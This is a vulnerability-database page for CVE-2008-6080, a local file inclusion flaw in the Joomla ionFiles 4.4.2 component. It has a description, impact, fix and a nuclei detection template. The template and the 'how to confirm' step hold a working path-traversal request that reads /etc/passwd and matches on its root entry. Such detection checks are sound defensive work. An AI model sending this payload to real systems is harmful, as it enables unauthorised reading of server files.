HexBrain

Browse / CVEs / CVE-2008-6080

CVE-2008-6080· codecall / com ionfiles· CWE-22

Joomla! ionFiles 4.4.2 - Local File Inclusion

mediumseverity
5CVSS score
10.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Joomla! ionFiles 4.4.2 is susceptible to local file inclusion in download.php in the ionFiles (com_ionfiles) that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Update Joomla! ionFiles to the latest version or apply the provided patch to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-6080 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2008-6080

info:
  name: Joomla! ionFiles 4.4.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! ionFiles 4.4.2 is susceptible to local file inclusion in download.php in the ionFiles (com_ionfiles) that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Update Joomla! ionFiles to the latest version or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6809
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6080
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46039
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6080
    cwe-id: CWE-22
    epss-score: 0.10637
    epss-percentile: 0.95834
    cpe: cpe:2.3:a:codecall:com_ionfiles:4.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: codecall
    product: com_ionfiles
  tags: cve,cve2008,edb,joomla,lfi,codecall,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from